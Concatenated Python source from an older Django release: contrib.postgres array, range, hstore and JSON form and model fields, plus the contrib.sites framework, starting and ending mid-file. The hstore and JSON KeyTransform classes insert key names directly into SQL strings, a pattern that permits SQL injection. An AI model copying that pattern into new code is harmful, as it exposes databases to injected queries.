            return self.delimiter.join(six.text_type(self.base_field.prepare_value(v)) for v in value)
        return value

    def to_python(self, value):
        if value:
            items = value.split(self.delimiter)
        else:
            items = []
        errors = []
        values = []
        for index, item in enumerate(items):
            try:
                values.append(self.base_field.to_python(item))
            except ValidationError as error:
                errors.append(prefix_validation_error(
                    error,
                    prefix=self.error_messages['item_invalid'],
                    code='item_invalid',
                    params={'nth': index},
                ))
        if errors:
            raise ValidationError(errors)
        return values

    def validate(self, value):
        super(SimpleArrayField, self).validate(value)
        errors = []
        for index, item in enumerate(value):
            try:
                self.base_field.validate(item)
            except ValidationError as error:
                errors.append(prefix_validation_error(
                    error,
                    prefix=self.error_messages['item_invalid'],
                    code='item_invalid',
                    params={'nth': index},
                ))
        if errors:
            raise ValidationError(errors)

    def run_validators(self, value):
        super(SimpleArrayField, self).run_validators(value)
        errors = []
        for index, item in enumerate(value):
            try:
                self.base_field.run_validators(item)
            except ValidationError as error:
                errors.append(prefix_validation_error(
                    error,
                    prefix=self.error_messages['item_invalid'],
                    code='item_invalid',
                    params={'nth': index},
                ))
        if errors:
            raise ValidationError(errors)


class SplitArrayWidget(forms.Widget):

    def __init__(self, widget, size, **kwargs):
        self.widget = widget() if isinstance(widget, type) else widget
        self.size = size
        super(SplitArrayWidget, self).__init__(**kwargs)

    @property
    def is_hidden(self):
        return self.widget.is_hidden

    def value_from_datadict(self, data, files, name):
        return [self.widget.value_from_datadict(data, files, '%s_%s' % (name, index))
                for index in range(self.size)]

    def id_for_label(self, id_):
        # See the comment for RadioSelect.id_for_label()
        if id_:
            id_ += '_0'
        return id_

    def render(self, name, value, attrs=None):
        if self.is_localized:
            self.widget.is_localized = self.is_localized
        value = value or []
        output = []
        final_attrs = self.build_attrs(attrs)
        id_ = final_attrs.get('id')
        for i in range(max(len(value), self.size)):
            try:
                widget_value = value[i]
            except IndexError:
                widget_value = None
            if id_:
                final_attrs = dict(final_attrs, id='%s_%s' % (id_, i))
            output.append(self.widget.render(name + '_%s' % i, widget_value, final_attrs))
        return mark_safe(self.format_output(output))

    def format_output(self, rendered_widgets):
        return ''.join(rendered_widgets)

    @property
    def media(self):
        return self.widget.media

    def __deepcopy__(self, memo):
        obj = super(SplitArrayWidget, self).__deepcopy__(memo)
        obj.widget = copy.deepcopy(self.widget)
        return obj

    @property
    def needs_multipart_form(self):
        return self.widget.needs_multipart_form


class SplitArrayField(forms.Field):
    default_error_messages = {
        'item_invalid': _('Item %(nth)s in the array did not validate: '),
    }

    def __init__(self, base_field, size, remove_trailing_nulls=False, **kwargs):
        self.base_field = base_field
        self.size = size
        self.remove_trailing_nulls = remove_trailing_nulls
        widget = SplitArrayWidget(widget=base_field.widget, size=size)
        kwargs.setdefault('widget', widget)
        super(SplitArrayField, self).__init__(**kwargs)

    def clean(self, value):
        cleaned_data = []
        errors = []
        if not any(value) and self.required:
            raise ValidationError(self.error_messages['required'])
        max_size = max(self.size, len(value))
        for index in range(max_size):
            item = value[index]
            try:
                cleaned_data.append(self.base_field.clean(item))
            except ValidationError as error:
                errors.append(prefix_validation_error(
                    error,
                    self.error_messages['item_invalid'],
                    code='item_invalid',
                    params={'nth': index},
                ))
                cleaned_data.append(None)
            else:
                errors.append(None)
        if self.remove_trailing_nulls:
            null_index = None
            for i, value in reversed(list(enumerate(cleaned_data))):
                if value in self.base_field.empty_values:
                    null_index = i
                else:
                    break
            if null_index is not None:
                cleaned_data = cleaned_data[:null_index]
                errors = errors[:null_index]
        errors = list(filter(None, errors))
        if errors:
            raise ValidationError(list(chain.from_iterable(errors)))
        return cleaned_data






from .array import *  # NOQA
from .hstore import *  # NOQA
from .jsonb import *  # NOQA
from .ranges import *  # NOQA






from psycopg2.extras import DateRange, DateTimeTZRange, NumericRange

from django import forms
from django.core import exceptions
from django.forms.widgets import MultiWidget
from django.utils.translation import ugettext_lazy as _

__all__ = ['IntegerRangeField', 'FloatRangeField', 'DateTimeRangeField', 'DateRangeField']


class BaseRangeField(forms.MultiValueField):
    default_error_messages = {
        'invalid': _('Enter two valid values.'),
        'bound_ordering': _('The start of the range must not exceed the end of the range.'),
    }

    def __init__(self, **kwargs):
        if 'widget' not in kwargs:
            kwargs['widget'] = RangeWidget(self.base_field.widget)
        if 'fields' not in kwargs:
            kwargs['fields'] = [self.base_field(required=False), self.base_field(required=False)]
        kwargs.setdefault('required', False)
        kwargs.setdefault('require_all_fields', False)
        super(BaseRangeField, self).__init__(**kwargs)

    def prepare_value(self, value):
        lower_base, upper_base = self.fields
        if isinstance(value, self.range_type):
            return [
                lower_base.prepare_value(value.lower),
                upper_base.prepare_value(value.upper),
            ]
        if value is None:
            return [
                lower_base.prepare_value(None),
                upper_base.prepare_value(None),
            ]
        return value

    def compress(self, values):
        if not values:
            return None
        lower, upper = values
        if lower is not None and upper is not None and lower > upper:
            raise exceptions.ValidationError(
                self.error_messages['bound_ordering'],
                code='bound_ordering',
            )
        try:
            range_value = self.range_type(lower, upper)
        except TypeError:
            raise exceptions.ValidationError(
                self.error_messages['invalid'],
                code='invalid',
            )
        else:
            return range_value


class IntegerRangeField(BaseRangeField):
    default_error_messages = {'invalid': _('Enter two whole numbers.')}
    base_field = forms.IntegerField
    range_type = NumericRange


class FloatRangeField(BaseRangeField):
    default_error_messages = {'invalid': _('Enter two numbers.')}
    base_field = forms.FloatField
    range_type = NumericRange


class DateTimeRangeField(BaseRangeField):
    default_error_messages = {'invalid': _('Enter two valid date/times.')}
    base_field = forms.DateTimeField
    range_type = DateTimeTZRange


class DateRangeField(BaseRangeField):
    default_error_messages = {'invalid': _('Enter two valid dates.')}
    base_field = forms.DateField
    range_type = DateRange


class RangeWidget(MultiWidget):
    def __init__(self, base_widget, attrs=None):
        widgets = (base_widget, base_widget)
        super(RangeWidget, self).__init__(widgets, attrs)

    def decompress(self, value):
        if value:
            return (value.lower, value.upper)
        return (None, None)






import json

from django import forms
from django.core.exceptions import ValidationError
from django.utils import six
from django.utils.translation import ugettext_lazy as _

__all__ = ['HStoreField']


class HStoreField(forms.CharField):
    """
    A field for HStore data which accepts dictionary JSON input.
    """
    widget = forms.Textarea
    default_error_messages = {
        'invalid_json': _('Could not load JSON data.'),
        'invalid_format': _('Input must be a JSON dictionary.'),
    }

    def prepare_value(self, value):
        if isinstance(value, dict):
            return json.dumps(value)
        return value

    def to_python(self, value):
        if not value:
            return {}
        if not isinstance(value, dict):
            try:
                value = json.loads(value)
            except ValueError:
                raise ValidationError(
                    self.error_messages['invalid_json'],
                    code='invalid_json',
                )

        if not isinstance(value, dict):
            raise ValidationError(
                self.error_messages['invalid_format'],
                code='invalid_format',
            )

        # Cast everything to strings for ease.
        for key, val in value.items():
            value[key] = six.text_type(val)
        return value

    def has_changed(self, initial, data):
        """
        Return True if data differs from initial.
        """
        # For purposes of seeing whether something has changed, None is
        # the same as an empty dict, if the data or initial value we get
        # is None, replace it w/ {}.
        initial_value = self.to_python(initial)
        return super(HStoreField, self).has_changed(initial_value, data)






import json

from django import forms
from django.utils import six
from django.utils.translation import ugettext_lazy as _

__all__ = ['JSONField']


class InvalidJSONInput(six.text_type):
    pass


class JSONField(forms.CharField):
    default_error_messages = {
        'invalid': _("'%(value)s' value must be valid JSON."),
    }
    widget = forms.Textarea

    def to_python(self, value):
        if self.disabled:
            return value
        if value in self.empty_values:
            return None
        try:
            return json.loads(value)
        except ValueError:
            raise forms.ValidationError(
                self.error_messages['invalid'],
                code='invalid',
                params={'value': value},
            )

    def bound_data(self, data, initial):
        if self.disabled:
            return initial
        try:
            return json.loads(data)
        except ValueError:
            return InvalidJSONInput(data)

    def prepare_value(self, value):
        if isinstance(value, InvalidJSONInput):
            return value
        return json.dumps(value)






import json

from django.contrib.postgres import lookups
from django.contrib.postgres.forms import SimpleArrayField
from django.contrib.postgres.validators import ArrayMaxLengthValidator
from django.core import checks, exceptions
from django.db.models import Field, IntegerField, Transform
from django.db.models.lookups import Exact, In
from django.utils import six
from django.utils.translation import ugettext_lazy as _

from ..utils import prefix_validation_error
from .utils import AttributeSetter

__all__ = ['ArrayField']


class ArrayField(Field):
    empty_strings_allowed = False
    default_error_messages = {
        'item_invalid': _('Item %(nth)s in the array did not validate: '),
        'nested_array_mismatch': _('Nested arrays must have the same length.'),
    }

    def __init__(self, base_field, size=None, **kwargs):
        self.base_field = base_field
        self.size = size
        if self.size:
            self.default_validators = self.default_validators[:]
            self.default_validators.append(ArrayMaxLengthValidator(self.size))
        # For performance, only add a from_db_value() method if the base field
        # implements it.
        if hasattr(self.base_field, 'from_db_value'):
            self.from_db_value = self._from_db_value
        super(ArrayField, self).__init__(**kwargs)

    @property
    def model(self):
        try:
            return self.__dict__['model']
        except KeyError:
            raise AttributeError("'%s' object has no attribute 'model'" % self.__class__.__name__)

    @model.setter
    def model(self, model):
        self.__dict__['model'] = model
        self.base_field.model = model

    def check(self, **kwargs):
        errors = super(ArrayField, self).check(**kwargs)
        if self.base_field.remote_field:
            errors.append(
                checks.Error(
                    'Base field for array cannot be a related field.',
                    obj=self,
                    id='postgres.E002'
                )
            )
        else:
            # Remove the field name checks as they are not needed here.
            base_errors = self.base_field.check()
            if base_errors:
                messages = '\n    '.join('%s (%s)' % (error.msg, error.id) for error in base_errors)
                errors.append(
                    checks.Error(
                        'Base field for array has errors:\n    %s' % messages,
                        obj=self,
                        id='postgres.E001'
                    )
                )
        return errors

    def set_attributes_from_name(self, name):
        super(ArrayField, self).set_attributes_from_name(name)
        self.base_field.set_attributes_from_name(name)

    @property
    def description(self):
        return 'Array of %s' % self.base_field.description

    def db_type(self, connection):
        size = self.size or ''
        return '%s[%s]' % (self.base_field.db_type(connection), size)

    def get_db_prep_value(self, value, connection, prepared=False):
        if isinstance(value, list) or isinstance(value, tuple):
            return [self.base_field.get_db_prep_value(i, connection, prepared=False) for i in value]
        return value

    def deconstruct(self):
        name, path, args, kwargs = super(ArrayField, self).deconstruct()
        if path == 'django.contrib.postgres.fields.array.ArrayField':
            path = 'django.contrib.postgres.fields.ArrayField'
        kwargs.update({
            'base_field': self.base_field,
            'size': self.size,
        })
        return name, path, args, kwargs

    def to_python(self, value):
        if isinstance(value, six.string_types):
            # Assume we're deserializing
            vals = json.loads(value)
            value = [self.base_field.to_python(val) for val in vals]
        return value

    def _from_db_value(self, value, expression, connection, context):
        if value is None:
            return value
        return [
            self.base_field.from_db_value(item, expression, connection, context)
            for item in value
        ]

    def value_to_string(self, obj):
        values = []
        vals = self.value_from_object(obj)
        base_field = self.base_field

        for val in vals:
            if val is None:
                values.append(None)
            else:
                obj = AttributeSetter(base_field.attname, val)
                values.append(base_field.value_to_string(obj))
        return json.dumps(values)

    def get_transform(self, name):
        transform = super(ArrayField, self).get_transform(name)
        if transform:
            return transform
        try:
            index = int(name)
        except ValueError:
            pass
        else:
            index += 1  # postgres uses 1-indexing
            return IndexTransformFactory(index, self.base_field)
        try:
            start, end = name.split('_')
            start = int(start) + 1
            end = int(end)  # don't add one here because postgres slices are weird
        except ValueError:
            pass
        else:
            return SliceTransformFactory(start, end)

    def validate(self, value, model_instance):
        super(ArrayField, self).validate(value, model_instance)
        for index, part in enumerate(value):
            try:
                self.base_field.validate(part, model_instance)
            except exceptions.ValidationError as error:
                raise prefix_validation_error(
                    error,
                    prefix=self.error_messages['item_invalid'],
                    code='item_invalid',
                    params={'nth': index},
                )
        if isinstance(self.base_field, ArrayField):
            if len({len(i) for i in value}) > 1:
                raise exceptions.ValidationError(
                    self.error_messages['nested_array_mismatch'],
                    code='nested_array_mismatch',
                )

    def run_validators(self, value):
        super(ArrayField, self).run_validators(value)
        for index, part in enumerate(value):
            try:
                self.base_field.run_validators(part)
            except exceptions.ValidationError as error:
                raise prefix_validation_error(
                    error,
                    prefix=self.error_messages['item_invalid'],
                    code='item_invalid',
                    params={'nth': index},
                )

    def formfield(self, **kwargs):
        defaults = {
            'form_class': SimpleArrayField,
            'base_field': self.base_field.formfield(),
            'max_length': self.size,
        }
        defaults.update(kwargs)
        return super(ArrayField, self).formfield(**defaults)


@ArrayField.register_lookup
class ArrayContains(lookups.DataContains):
    def as_sql(self, qn, connection):
        sql, params = super(ArrayContains, self).as_sql(qn, connection)
        sql = '%s::%s' % (sql, self.lhs.output_field.db_type(connection))
        return sql, params


@ArrayField.register_lookup
class ArrayContainedBy(lookups.ContainedBy):
    def as_sql(self, qn, connection):
        sql, params = super(ArrayContainedBy, self).as_sql(qn, connection)
        sql = '%s::%s' % (sql, self.lhs.output_field.db_type(connection))
        return sql, params


@ArrayField.register_lookup
class ArrayExact(Exact):
    def as_sql(self, qn, connection):
        sql, params = super(ArrayExact, self).as_sql(qn, connection)
        sql = '%s::%s' % (sql, self.lhs.output_field.db_type(connection))
        return sql, params


@ArrayField.register_lookup
class ArrayOverlap(lookups.Overlap):
    def as_sql(self, qn, connection):
        sql, params = super(ArrayOverlap, self).as_sql(qn, connection)
        sql = '%s::%s' % (sql, self.lhs.output_field.db_type(connection))
        return sql, params


@ArrayField.register_lookup
class ArrayLenTransform(Transform):
    lookup_name = 'len'
    output_field = IntegerField()

    def as_sql(self, compiler, connection):
        lhs, params = compiler.compile(self.lhs)
        # Distinguish NULL and empty arrays
        return (
            'CASE WHEN %(lhs)s IS NULL THEN NULL ELSE '
            'coalesce(array_length(%(lhs)s, 1), 0) END'
        ) % {'lhs': lhs}, params


@ArrayField.register_lookup
class ArrayInLookup(In):
    def get_prep_lookup(self):
        values = super(ArrayInLookup, self).get_prep_lookup()
        # In.process_rhs() expects values to be hashable, so convert lists
        # to tuples.
        prepared_values = []
        for value in values:
            if hasattr(value, 'resolve_expression'):
                prepared_values.append(value)
            else:
                prepared_values.append(tuple(value))
        return prepared_values


class IndexTransform(Transform):

    def __init__(self, index, base_field, *args, **kwargs):
        super(IndexTransform, self).__init__(*args, **kwargs)
        self.index = index
        self.base_field = base_field

    def as_sql(self, compiler, connection):
        lhs, params = compiler.compile(self.lhs)
        return '%s[%s]' % (lhs, self.index), params

    @property
    def output_field(self):
        return self.base_field


class IndexTransformFactory(object):

    def __init__(self, index, base_field):
        self.index = index
        self.base_field = base_field

    def __call__(self, *args, **kwargs):
        return IndexTransform(self.index, self.base_field, *args, **kwargs)


class SliceTransform(Transform):

    def __init__(self, start, end, *args, **kwargs):
        super(SliceTransform, self).__init__(*args, **kwargs)
        self.start = start
        self.end = end

    def as_sql(self, compiler, connection):
        lhs, params = compiler.compile(self.lhs)
        return '%s[%s:%s]' % (lhs, self.start, self.end), params


class SliceTransformFactory(object):

    def __init__(self, start, end):
        self.start = start
        self.end = end

    def __call__(self, *args, **kwargs):
        return SliceTransform(self.start, self.end, *args, **kwargs)






from .array import *  # NOQA
from .hstore import *  # NOQA
from .jsonb import *  # NOQA
from .ranges import *  # NOQA






import json

from psycopg2.extras import DateRange, DateTimeTZRange, NumericRange, Range

from django.contrib.postgres import forms, lookups
from django.db import models
from django.utils import six

from .utils import AttributeSetter

__all__ = [
    'RangeField', 'IntegerRangeField', 'BigIntegerRangeField',
    'FloatRangeField', 'DateTimeRangeField', 'DateRangeField',
]


class RangeField(models.Field):
    empty_strings_allowed = False

    def __init__(self, *args, **kwargs):
        # Initializing base_field here ensures that its model matches the model for self.
        if hasattr(self, 'base_field'):
            self.base_field = self.base_field()
        super(RangeField, self).__init__(*args, **kwargs)

    @property
    def model(self):
        try:
            return self.__dict__['model']
        except KeyError:
            raise AttributeError("'%s' object has no attribute 'model'" % self.__class__.__name__)

    @model.setter
    def model(self, model):
        self.__dict__['model'] = model
        self.base_field.model = model

    def get_prep_value(self, value):
        if value is None:
            return None
        elif isinstance(value, Range):
            return value
        elif isinstance(value, (list, tuple)):
            return self.range_type(value[0], value[1])
        return value

    def to_python(self, value):
        if isinstance(value, six.string_types):
            # Assume we're deserializing
            vals = json.loads(value)
            for end in ('lower', 'upper'):
                if end in vals:
                    vals[end] = self.base_field.to_python(vals[end])
            value = self.range_type(**vals)
        elif isinstance(value, (list, tuple)):
            value = self.range_type(value[0], value[1])
        return value

    def set_attributes_from_name(self, name):
        super(RangeField, self).set_attributes_from_name(name)
        self.base_field.set_attributes_from_name(name)

    def value_to_string(self, obj):
        value = self.value_from_object(obj)
        if value is None:
            return None
        if value.isempty:
            return json.dumps({"empty": True})
        base_field = self.base_field
        result = {"bounds": value._bounds}
        for end in ('lower', 'upper'):
            val = getattr(value, end)
            if val is None:
                result[end] = None
            else:
                obj = AttributeSetter(base_field.attname, val)
                result[end] = base_field.value_to_string(obj)
        return json.dumps(result)

    def formfield(self, **kwargs):
        kwargs.setdefault('form_class', self.form_field)
        return super(RangeField, self).formfield(**kwargs)


class IntegerRangeField(RangeField):
    base_field = models.IntegerField
    range_type = NumericRange
    form_field = forms.IntegerRangeField

    def db_type(self, connection):
        return 'int4range'


class BigIntegerRangeField(RangeField):
    base_field = models.BigIntegerField
    range_type = NumericRange
    form_field = forms.IntegerRangeField

    def db_type(self, connection):
        return 'int8range'


class FloatRangeField(RangeField):
    base_field = models.FloatField
    range_type = NumericRange
    form_field = forms.FloatRangeField

    def db_type(self, connection):
        return 'numrange'


class DateTimeRangeField(RangeField):
    base_field = models.DateTimeField
    range_type = DateTimeTZRange
    form_field = forms.DateTimeRangeField

    def db_type(self, connection):
        return 'tstzrange'


class DateRangeField(RangeField):
    base_field = models.DateField
    range_type = DateRange
    form_field = forms.DateRangeField

    def db_type(self, connection):
        return 'daterange'


RangeField.register_lookup(lookups.DataContains)
RangeField.register_lookup(lookups.ContainedBy)
RangeField.register_lookup(lookups.Overlap)


class RangeContainedBy(models.Lookup):
    lookup_name = 'contained_by'
    type_mapping = {
        'integer': 'int4range',
        'bigint': 'int8range',
        'double precision': 'numrange',
        'date': 'daterange',
        'timestamp with time zone': 'tstzrange',
    }

    def as_sql(self, qn, connection):
        field = self.lhs.output_field
        if isinstance(field, models.FloatField):
            sql = '%s::numeric <@ %s::{}'.format(self.type_mapping[field.db_type(connection)])
        else:
            sql = '%s <@ %s::{}'.format(self.type_mapping[field.db_type(connection)])
        lhs, lhs_params = self.process_lhs(qn, connection)
        rhs, rhs_params = self.process_rhs(qn, connection)
        params = lhs_params + rhs_params
        return sql % (lhs, rhs), params

    def get_prep_lookup(self):
        return RangeField().get_prep_value(self.rhs)


models.DateField.register_lookup(RangeContainedBy)
models.DateTimeField.register_lookup(RangeContainedBy)
models.IntegerField.register_lookup(RangeContainedBy)
models.BigIntegerField.register_lookup(RangeContainedBy)
models.FloatField.register_lookup(RangeContainedBy)


@RangeField.register_lookup
class FullyLessThan(lookups.PostgresSimpleLookup):
    lookup_name = 'fully_lt'
    operator = '<<'


@RangeField.register_lookup
class FullGreaterThan(lookups.PostgresSimpleLookup):
    lookup_name = 'fully_gt'
    operator = '>>'


@RangeField.register_lookup
class NotLessThan(lookups.PostgresSimpleLookup):
    lookup_name = 'not_lt'
    operator = '&>'


@RangeField.register_lookup
class NotGreaterThan(lookups.PostgresSimpleLookup):
    lookup_name = 'not_gt'
    operator = '&<'


@RangeField.register_lookup
class AdjacentToLookup(lookups.PostgresSimpleLookup):
    lookup_name = 'adjacent_to'
    operator = '-|-'


@RangeField.register_lookup
class RangeStartsWith(models.Transform):
    lookup_name = 'startswith'
    function = 'lower'

    @property
    def output_field(self):
        return self.lhs.output_field.base_field


@RangeField.register_lookup
class RangeEndsWith(models.Transform):
    lookup_name = 'endswith'
    function = 'upper'

    @property
    def output_field(self):
        return self.lhs.output_field.base_field


@RangeField.register_lookup
class IsEmpty(models.Transform):
    lookup_name = 'isempty'
    function = 'isempty'
    output_field = models.BooleanField()






import json

from django.contrib.postgres import forms, lookups
from django.contrib.postgres.fields.array import ArrayField
from django.core import exceptions
from django.db.models import Field, TextField, Transform
from django.utils import six
from django.utils.encoding import force_text
from django.utils.translation import ugettext_lazy as _

__all__ = ['HStoreField']


class HStoreField(Field):
    empty_strings_allowed = False
    description = _('Map of strings to strings')
    default_error_messages = {
        'not_a_string': _('The value of "%(key)s" is not a string.'),
    }

    def db_type(self, connection):
        return 'hstore'

    def get_transform(self, name):
        transform = super(HStoreField, self).get_transform(name)
        if transform:
            return transform
        return KeyTransformFactory(name)

    def validate(self, value, model_instance):
        super(HStoreField, self).validate(value, model_instance)
        for key, val in value.items():
            if not isinstance(val, six.string_types):
                raise exceptions.ValidationError(
                    self.error_messages['not_a_string'],
                    code='not_a_string',
                    params={'key': key},
                )

    def to_python(self, value):
        if isinstance(value, six.string_types):
            value = json.loads(value)
        return value

    def value_to_string(self, obj):
        return json.dumps(self.value_from_object(obj))

    def formfield(self, **kwargs):
        defaults = {
            'form_class': forms.HStoreField,
        }
        defaults.update(kwargs)
        return super(HStoreField, self).formfield(**defaults)

    def get_prep_value(self, value):
        value = super(HStoreField, self).get_prep_value(value)

        if isinstance(value, dict):
            prep_value = {}
            for key, val in value.items():
                key = force_text(key)
                if val is not None:
                    val = force_text(val)
                prep_value[key] = val
            value = prep_value

        if isinstance(value, list):
            value = [force_text(item) for item in value]

        return value

HStoreField.register_lookup(lookups.DataContains)
HStoreField.register_lookup(lookups.ContainedBy)
HStoreField.register_lookup(lookups.HasKey)
HStoreField.register_lookup(lookups.HasKeys)
HStoreField.register_lookup(lookups.HasAnyKeys)


class KeyTransform(Transform):
    output_field = TextField()

    def __init__(self, key_name, *args, **kwargs):
        super(KeyTransform, self).__init__(*args, **kwargs)
        self.key_name = key_name

    def as_sql(self, compiler, connection):
        lhs, params = compiler.compile(self.lhs)
        return "(%s -> '%s')" % (lhs, self.key_name), params


class KeyTransformFactory(object):

    def __init__(self, key_name):
        self.key_name = key_name

    def __call__(self, *args, **kwargs):
        return KeyTransform(self.key_name, *args, **kwargs)


@HStoreField.register_lookup
class KeysTransform(Transform):
    lookup_name = 'keys'
    function = 'akeys'
    output_field = ArrayField(TextField())


@HStoreField.register_lookup
class ValuesTransform(Transform):
    lookup_name = 'values'
    function = 'avals'
    output_field = ArrayField(TextField())






class AttributeSetter(object):
    def __init__(self, name, value):
        setattr(self, name, value)






import json

from psycopg2.extras import Json

from django.contrib.postgres import forms, lookups
from django.core import exceptions
from django.db.models import Field, Transform
from django.utils.translation import ugettext_lazy as _

__all__ = ['JSONField']


class JSONField(Field):
    empty_strings_allowed = False
    description = _('A JSON object')
    default_error_messages = {
        'invalid': _("Value must be valid JSON."),
    }

    def db_type(self, connection):
        return 'jsonb'

    def get_transform(self, name):
        transform = super(JSONField, self).get_transform(name)
        if transform:
            return transform
        return KeyTransformFactory(name)

    def get_prep_value(self, value):
        if value is not None:
            return Json(value)
        return value

    def validate(self, value, model_instance):
        super(JSONField, self).validate(value, model_instance)
        try:
            json.dumps(value)
        except TypeError:
            raise exceptions.ValidationError(
                self.error_messages['invalid'],
                code='invalid',
                params={'value': value},
            )

    def value_to_string(self, obj):
        value = self.value_from_object(obj)
        return value

    def formfield(self, **kwargs):
        defaults = {'form_class': forms.JSONField}
        defaults.update(kwargs)
        return super(JSONField, self).formfield(**defaults)


JSONField.register_lookup(lookups.DataContains)
JSONField.register_lookup(lookups.ContainedBy)
JSONField.register_lookup(lookups.HasKey)
JSONField.register_lookup(lookups.HasKeys)
JSONField.register_lookup(lookups.HasAnyKeys)


class KeyTransform(Transform):

    def __init__(self, key_name, *args, **kwargs):
        super(KeyTransform, self).__init__(*args, **kwargs)
        self.key_name = key_name

    def as_sql(self, compiler, connection):
        key_transforms = [self.key_name]
        previous = self.lhs
        while isinstance(previous, KeyTransform):
            key_transforms.insert(0, previous.key_name)
            previous = previous.lhs
        lhs, params = compiler.compile(previous)
        if len(key_transforms) > 1:
            return "{} #> %s".format(lhs), [key_transforms] + params
        try:
            int(self.key_name)
        except ValueError:
            lookup = "'%s'" % self.key_name
        else:
            lookup = "%s" % self.key_name
        return "%s -> %s" % (lhs, lookup), params


class KeyTransformFactory(object):

    def __init__(self, key_name):
        self.key_name = key_name

    def __call__(self, *args, **kwargs):
        return KeyTransform(self.key_name, *args, **kwargs)






from __future__ import unicode_literals

from django.apps import apps


def get_current_site(request):
    """
    Checks if contrib.sites is installed and returns either the current
    ``Site`` object or a ``RequestSite`` object based on the request.
    """
    # Imports are inside the function because its point is to avoid importing
    # the Site models when django.contrib.sites isn't installed.
    if apps.is_installed('django.contrib.sites'):
        from .models import Site
        return Site.objects.get_current(request)
    else:
        from .requests import RequestSite
        return RequestSite(request)






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.conf import settings
from django.core import checks
from django.core.exceptions import FieldDoesNotExist
from django.db import models


class CurrentSiteManager(models.Manager):
    "Use this to limit objects to those associated with the current site."

    use_in_migrations = True

    def __init__(self, field_name=None):
        super(CurrentSiteManager, self).__init__()
        self.__field_name = field_name

    def check(self, **kwargs):
        errors = super(CurrentSiteManager, self).check(**kwargs)
        errors.extend(self._check_field_name())
        return errors

    def _check_field_name(self):
        field_name = self._get_field_name()
        try:
            field = self.model._meta.get_field(field_name)
        except FieldDoesNotExist:
            return [
                checks.Error(
                    "CurrentSiteManager could not find a field named '%s'." % field_name,
                    obj=self,
                    id='sites.E001',
                )
            ]

        if not field.many_to_many and not isinstance(field, (models.ForeignKey)):
            return [
                checks.Error(
                    "CurrentSiteManager cannot use '%s.%s' as it is not a foreign key or a many-to-many field." % (
                        self.model._meta.object_name, field_name
                    ),
                    obj=self,
                    id='sites.E002',
                )
            ]

        return []

    def _get_field_name(self):
        """ Return self.__field_name or 'site' or 'sites'. """

        if not self.__field_name:
            try:
                self.model._meta.get_field('site')
            except FieldDoesNotExist:
                self.__field_name = 'sites'
            else:
                self.__field_name = 'site'
        return self.__field_name

    def get_queryset(self):
        return super(CurrentSiteManager, self).get_queryset().filter(
            **{self._get_field_name() + '__id': settings.SITE_ID})






from __future__ import unicode_literals

import string

from django.core.exceptions import ImproperlyConfigured, ValidationError
from django.db import models
from django.db.models.signals import pre_delete, pre_save
from django.http.request import split_domain_port
from django.utils.encoding import python_2_unicode_compatible
from django.utils.translation import ugettext_lazy as _

SITE_CACHE = {}


def _simple_domain_name_validator(value):
    """
    Validates that the given value contains no whitespaces to prevent common
    typos.
    """
    if not value:
        return
    checks = ((s in value) for s in string.whitespace)
    if any(checks):
        raise ValidationError(
            _("The domain name cannot contain any spaces or tabs."),
            code='invalid',
        )


class SiteManager(models.Manager):
    use_in_migrations = True

    def _get_site_by_id(self, site_id):
        if site_id not in SITE_CACHE:
            site = self.get(pk=site_id)
            SITE_CACHE[site_id] = site
        return SITE_CACHE[site_id]

    def _get_site_by_request(self, request):
        host = request.get_host()
        try:
            # First attempt to look up the site by host with or without port.
            if host not in SITE_CACHE:
                SITE_CACHE[host] = self.get(domain__iexact=host)
            return SITE_CACHE[host]
        except Site.DoesNotExist:
            # Fallback to looking up site after stripping port from the host.
            domain, port = split_domain_port(host)
            if not port:
                raise
            if domain not in SITE_CACHE:
                SITE_CACHE[domain] = self.get(domain__iexact=domain)
            return SITE_CACHE[domain]

    def get_current(self, request=None):
        """
        Returns the current Site based on the SITE_ID in the project's settings.
        If SITE_ID isn't defined, it returns the site with domain matching
        request.get_host(). The ``Site`` object is cached the first time it's
        retrieved from the database.
        """
        from django.conf import settings
        if getattr(settings, 'SITE_ID', ''):
            site_id = settings.SITE_ID
            return self._get_site_by_id(site_id)
        elif request:
            return self._get_site_by_request(request)

        raise ImproperlyConfigured(
            "You're using the Django \"sites framework\" without having "
            "set the SITE_ID setting. Create a site in your database and "
            "set the SITE_ID setting or pass a request to "
            "Site.objects.get_current() to fix this error."
        )

    def clear_cache(self):
        """Clears the ``Site`` object cache."""
        global SITE_CACHE
        SITE_CACHE = {}

    def get_by_natural_key(self, domain):
        return self.get(domain=domain)


@python_2_unicode_compatible
class Site(models.Model):

    domain = models.CharField(
        _('domain name'),
        max_length=100,
        validators=[_simple_domain_name_validator],
        unique=True,
    )
    name = models.CharField(_('display name'), max_length=50)
    objects = SiteManager()

    class Meta:
        db_table = 'django_site'
        verbose_name = _('site')
        verbose_name_plural = _('sites')
        ordering = ('domain',)

    def __str__(self):
        return self.domain

    def natural_key(self):
        return (self.domain,)


def clear_site_cache(sender, **kwargs):
    """
    Clears the cache (if primed) each time a site is saved or deleted
    """
    instance = kwargs['instance']
    using = kwargs['using']
    try:
        del SITE_CACHE[instance.pk]
    except KeyError:
        pass
    try:
        del SITE_CACHE[Site.objects.using(using).get(pk=instance.pk).domain]
    except (KeyError, Site.DoesNotExist):
        pass
pre_save.connect(clear_site_cache, sender=Site)
pre_delete.connect(clear_site_cache, sender=Site)






from django.contrib import admin
from django.contrib.sites.models import Site


@admin.register(Site)
class SiteAdmin(admin.ModelAdmin):
    list_display = ('domain', 'name')
    search_fields = ('domain', 'name')






from django.apps import AppConfig
from django.db.models.signals import post_migrate
from django.utils.translation import ugettext_lazy as _

from .management import create_default_site


class SitesConfig(AppConfig):
    name = 'django.contrib.sites'
    verbose_name = _("Sites")

    def ready(self):
        post_migrate.connect(create_default_site, sender=self)






from __future__ import unicode_literals

from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class RequestSite(object):
    """
    A class that shares the primary interface of Site (i.e., it has
    ``domain`` and ``name`` attributes) but gets its data from a Django
    HttpRequest object rather than from a database.

    The save() and delete() methods raise NotImplementedError.
    """
    def __init__(self, request):
        self.domain = self.name = request.get_host()

    def __str__(self):
        return self.domain

    def save(self, force_insert=False, force_update=False):
        raise NotImplementedError('RequestSite cannot be saved.')

    def delete(self):
        raise NotImplementedError('RequestSite cannot be deleted.')






default_app_config = 'django.contrib.sites.apps.SitesConfig'






"""
Creates the default Site object.
"""

from django.apps import apps as global_apps
from django.conf import settings
from django.core.management.color import no_style
from django.db import DEFAULT_DB_ALIAS, connections, router


